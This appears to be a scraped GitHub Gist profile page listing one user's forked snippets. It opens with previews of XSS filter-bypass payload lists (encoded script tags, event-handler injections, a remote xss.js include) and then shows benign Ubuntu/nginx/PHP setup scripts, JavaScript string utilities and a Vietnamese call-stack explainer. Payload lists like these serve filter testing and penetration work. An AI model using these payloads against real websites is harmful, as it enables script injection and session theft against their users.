Skip to content

Instantly share code, notes, and snippets.

View mrtonyhuynh's full-sized avatar
😇
Nice & Professional

Tony Huỳnh mrtonyhuynh

😇
Nice & Professional
View GitHub Profile
@mrtonyhuynh
mrtonyhuynh / xxsfilterbypass.lst
Created June 4, 2019 07:59 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@mrtonyhuynh
mrtonyhuynh / 666_lines_of_XSS_vectors.html
Created June 4, 2019 07:58 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@mrtonyhuynh
mrtonyhuynh / setup.sh
Created February 26, 2019 14:37 — forked from submtd/setup.sh
Ubuntu 18.04 PHP Local Development
#!/bin/bash
# This script will set up a LEMP environment for local development on
# Ubuntu 18.04. Nginx will look for sites in ~/Code/{folder}/public/. These
# sites can be accessed locally by going to http://{folder}.localtest.me. An
# example site called "info" is created automatically and you can view it by
# going to http://info.localtest.me. The source code for this site is in
# ~/Code/info/public/
# ADD SOME PPAs
@mrtonyhuynh
mrtonyhuynh / setup_ubuntu_18_04.sh
Created February 26, 2019 14:37 — forked from thomijasir/setup_ubuntu_18_04.sh
Auto Install Application Ubuntu 18.04 Bionic
## Install Requiriment And update System
sudo apt-get -y update
sudo apt-get -y upgrade
sudo apt-get -y dist-upgrade
sudo apt-get -y install sudo nano git net-tools sudo wget curl bash-completion
sudo apt-get -y install software-properties-common dirmngr
sudo apt-get -y install apt-transport-https lsb-release ca-certificates
sudo apt-get -y install software-properties-common
## Update First
@mrtonyhuynh
mrtonyhuynh / Instructions.sh
Created February 26, 2019 14:36
Install PHP7.2 NGINX and PHP7.2-FPM on Ubuntu 16.04
########## Install NGINX ##############
# Install software-properties-common package to give us add-apt-repository package
sudo apt-get install -y software-properties-common
# Install latest nginx version from community maintained ppa
sudo add-apt-repository ppa:nginx/stable
# Update packages after adding ppa
sudo apt-get update
@mrtonyhuynh
mrtonyhuynh / Laravel PHP7 LEMP AWS.md
Created February 26, 2019 14:36 — forked from santoshachari/Laravel PHP7 LEMP AWS.md
Laravel 5.x on Ubuntu 16.x, PHP 7.x, Nginx 1.9.x

#Steps to install latest Laravel, LEMP on AWS Ubuntu 16.4 version. This tutorial is the improvised verision of this tutorial on Digitalocean based on my experience.

Install PHP 7 on Ubuntu

Run the following commands in sequence.

sudo apt-get install -y language-pack-en-base
sudo LC_ALL=en_US.UTF-8 add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get install zip unzip
@mrtonyhuynh
mrtonyhuynh / Instructions.sh
Created February 26, 2019 14:36 — forked from GhazanfarMir/Instructions.sh
Install PHP7.2 NGINX and PHP7.2-FPM on Ubuntu 16.04
########## Install NGINX ##############
# Install software-properties-common package to give us add-apt-repository package
sudo apt-get install -y software-properties-common
# Install latest nginx version from community maintained ppa
sudo add-apt-repository ppa:nginx/stable
# Update packages after adding ppa
@mrtonyhuynh
mrtonyhuynh / nginx-tuning.md
Created February 14, 2019 09:43 — forked from denji/nginx-tuning.md
NGINX tuning for best performance

NGINX Tuning For Best Performance

For this configuration you can use web server you like, i decided, because i work mostly with it to use nginx.

Generally, properly configured nginx can handle up to 400K to 500K requests per second (clustered), most what i saw is 50K to 80K (non-clustered) requests per second and 30% CPU load, course, this was 2 x Intel Xeon with HyperThreading enabled, but it can work without problem on slower machines.

You must understand that this config is used in testing environment and not in production so you will need to find a way to implement most of those features best possible for your servers.

@mrtonyhuynh
mrtonyhuynh / string-utils.js
Created January 30, 2019 08:47 — forked from jonlabelle/string-utils.js
Useful collection of JavaScript string utilities.
// String utils
//
// resources:
// -- mout, https://github.com/mout/mout/tree/master/src/string
/**
* "Safer" String.toLowerCase()
*/
function lowerCase(str){
return str.toLowerCase();

Call stack là gì

Call stack là một cấu trúc dữ liệu với đặc điểm là: FILO(First in - Last out). Trong Javascript, call stack được sử dụng để quản lý thứ tự các câu lệnh thực thi.

Trường hợp 1

/* Trong file main.js */

var firstFunction = function () {